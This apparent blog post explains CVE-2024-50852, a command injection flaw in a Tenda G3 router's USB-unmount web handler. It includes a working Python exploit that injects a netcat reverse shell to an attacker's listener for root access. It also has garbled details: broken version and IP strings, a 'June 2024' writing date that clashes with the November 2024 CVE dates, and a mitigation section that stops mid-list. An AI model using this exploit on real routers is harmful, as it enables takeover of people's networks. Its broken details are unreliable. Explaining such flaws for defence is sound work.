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Tenda routers are often chosen by consumers and small offices for their affordability and set-and-forget features. Unfortunately, these very features sometimes leave doors open for attackers. A recent vulnerability, CVE-2024-50852, impacts the Tenda G3 v3. router (version v15.11..20) and demonstrates just how critical security hygiene is for home and business networks.

What is CVE-2024-50852?

This vulnerability was discovered in the formSetUSBPartitionUmount function of the router’s web management interface. In simple terms, it’s a command injection flaw, which means a malicious user can send specially crafted data to the router—and make it execute OS commands of their choice.

With this bug, an attacker with access to the router's management web interface can run any shell command on the device with root privileges. This could be used to steal data, open backdoors, or take over the entire network.

References

- NVD - CVE-2024-50852
- Tenda G3 Product Page
- Exploit DB Reference (if available)

Where is the Vulnerability?

Let’s understand the vulnerable code. In Tenda’s web management backend, the handler for USB partition unmounting receives user data via a POST request. The formSetUSBPartitionUmount does not properly filter input before including it in a shell execution. Here’s a simplified, pseudo-code version based on public research:

// This is an example, real source may be different.

// Extract parameter from POST (e.g., 'partition_name')
char *partition = get_POST_param("partition_name");

// Vulnerable: Directly building shell command with user input
char cmd[128];
snprintf(cmd, sizeof(cmd), "umount /mnt/usb/%s", partition);

// Dangerous system call
system(cmd);

No sanitation or escaping of partition occurs. If a user submits something like foo;reboot, the actual command executed is:

umount /mnt/usb/foo;reboot

The router would first try to unmount /mnt/usb/foo, then immediately reboot! Imagine what an attacker could do...

How Does an Attack Work?

The attacker simply needs access to the admin interface (LAN or misconfigured WAN access). They send a crafted POST request to the form handler URL—typically something like /goform/formSetUSBPartitionUmount.

Here’s an example exploit in Python that demonstrates gaining a root shell by injecting a reverse shell payload (*using netcat*).

import requests

TARGET = "http://192.168..1";  # Change to the router IP
PORT = 80
REV_SHELL = "nc 192.168..100 4444 -e /bin/sh"  # listener on attacker's machine

# The injected parameter; note the semicolon to break command
payload = f";{REV_SHELL};"

data = {
    "partition_name": payload
}

# You may need cookies/auth or default creds
r = requests.post(
    f"{TARGET}/goform/formSetUSBPartitionUmount",
    data=data
)

print(f"Status: {r.status_code}")

Prerequisites: Access to the router’s web UI (sometimes exposed due to user error or UPnP).

- Scope: Any Tenda G3 v3. running firmware v15.11..20 (other models/versions may be affected).

Fix & Mitigation

Tenda Response:
As of writing (June 2024), check Tenda’s official firmware download page for possible patches or updated firmware. If a patch is unavailable:

Test for Exposure:

Try accessing http://<router-ip>/goform/formSetUSBPartitionUmount from your local network. If you get a response (even an error), the endpoint exists.

Conclusion

CVE-2024-50852 is a textbook example of why filtering user input is not optional, especially on network devices. Home users and small businesses should never assume their routers are “secure by default.” If you own a Tenda G3 v3. (or similar model), update your firmware urgently and lock down network access to the admin portal.

For researchers, this bug is straightforward to analyze and exploit, highlighting the importance of simple input validation. As always, responsibly disclose any similar vulnerabilities you discover.

References

- NVD Entry for CVE-2024-50852
- Tenda Official Site

Timeline

Published on: 11/13/2024 15:15:08 UTC
Last modified on: 11/21/2024 17:15:21 UTC